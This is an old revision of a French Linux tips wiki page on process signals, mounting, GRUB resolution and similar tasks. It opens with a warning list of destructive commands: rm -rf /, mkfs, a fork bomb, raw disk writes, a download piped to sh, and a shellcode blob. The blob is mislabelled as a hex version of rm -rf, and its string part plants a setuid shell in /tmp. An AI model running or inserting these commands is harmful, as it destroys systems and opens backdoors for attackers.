Ceci est une ancienne révision du document !
Table des matières
Linux
7 commandes mortelles
Ces commandes vont détruire le système sur lequel elles vont être exécutées. Il ne faut ABSOLUMENT pas les exécuter !
# Cette commande va supprimer récursivement et sans confirmation l'ensemble des fichiers et répertoires présents à la racine. rm -rf / # Cette commande est la version hexadécimale de la précédente. char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; # Cette commande va formater le disque indiqué. mkfs.ext3 /dev/sda # Cette commande est une fork bomb. :(){:|:&};: # Cette commande va écrire des données brutes sur le disque indiqué. any_command > /dev/sda # Cette commande va télécharger et exécuter un programme. Si la source n'est pas connue, il s'agit peut-être d'un programme malicieux. wget http://some_untrusted_source -O- | sh # Cette commande va déplacer la totalité des fichiers dans un répertoire qui n'existe pas. mv /home/yourhomedirectory/* /dev/null
Arrêter un processus
Lorsqu'on fait des recherches pour savoir comment arrêter un processus sous Linux, on tombe souvent sur la commande suivante :
# Utilisation du signal SIGKILL kill -9 <processus>
Cette commande ne doit être utilisée qu'en dernier recours car elle ne laisse pas le temps au processus en question de s'arrêter proprement.1)
Il ne peut pas :
- fermer ses connexions.
- supprimer ses fichiers temporaires.
- informer ses processus enfants.
- etc.
De manière générale, il faut :
- envoyer
-15
(signalSIGTERM
) et attendre quelques secondes - s'il ne répond pas, envoyer
-2
(signalSIGINT
) - s'il ne répond toujours pas, envoyer
-1
(signalSIGHUP
) - en dernier recours, supprimer le binaire car son fonctionnement est mauvais.
Afficher les informations d'une distribution
lsb_release -a
Monter un système de fichier dans l'arborescence
mount -t <type> <device> <dir> # Pour monter un CR-ROM mount -t iso9660 <device> <dir> # Pour monter un partage Windows mount -t cifs <device> <dir>
Il est possible d'ajouter des options lors du montage afin de modifier le comportement par défaut.
mount -t cifs -o username=<username>,password=<password>,uid=<uid>,gid=<gid> <device> <dir> # Pour renseigner automatiquement le UID et le GID de l'utilisateur courant mount -t cifs -o username=<username>,password=<password>,uid=`id -u`,gid=`id -g` <device> <dir>
Autoriser un utilisateur à monter un système de fichier
Par défaut, seul l'utilisateur root a les droits de monter et de démonter les systèmes de fichiers dans l'arborescence. Pour autoriser un utilisateur à faire de même, il faut configurer le fichier /etc/sudoers :
username ALL=NOPASSWD: /usr/bin/mount, /usr/bin/umount
Trouver les informations du lecteur optique
cat /proc/sys/dev/cdrom/info
Trouver son IP
Pour trouver son IP depuis le terminal est aussi facile que de lancer la commande suivante :
# Version courte ip -c -4 a # Version longue ip -color -family inet address
Pour la récupérer dans un script, il faut faire quelques manipulations, mais ça reste tout de même très facile
ip -c -4 route get 1.1.1.1 | awk '{print $NF; exit}'
Configuration de la résolution de GRUB2
Par défaut, la résolution de la page d'accueil ainsi que celle de la console est de 640×480. Ce qui est petit considérant la taille des écrans actuels.
Pour changer la résolution, il faut modifier le fichier /etc/default/grub :
- Ajouter la ligne suivante pour la résolution de la page d'accueil
GRUB_GFXMODE=1024x768
- Ajouter le paramètre vga2) pour la résolution de la console
GRUB_CMDLINE_LINUX_DEFAULT="quiet vga=791"
Puis il faut appliquer ces changements :
- Avec la commande update-grub2 pour Debian et ses dérivées
- Avec la commande grub-mkconfig pour Arch et ses dérivées
Concaténer des fichiers
Il est possible de contaténer différents fichiers et de les afficher sur la sortie standard.
# Afficher le contenu d'un ou plusieurs fichiers cat <fichier1> <fichier2> # Afficher le contenu de l'entrée standard echo <texte> | cat # Ou cat <<EOF <texte> EOF # Afficher le contenu de plusieurs fichiers dont l'entrée standard echo <texte> | cat - <fichier>
Il est également possible d'inverser le contenu d'un fichier en remplaçant cat
par tac
dans les commandes précédentes.
Affiche la date de l’installation du système
fs=$(df / | tail -1 | cut -f1 -d' ') && tune2fs -l $fs | grep created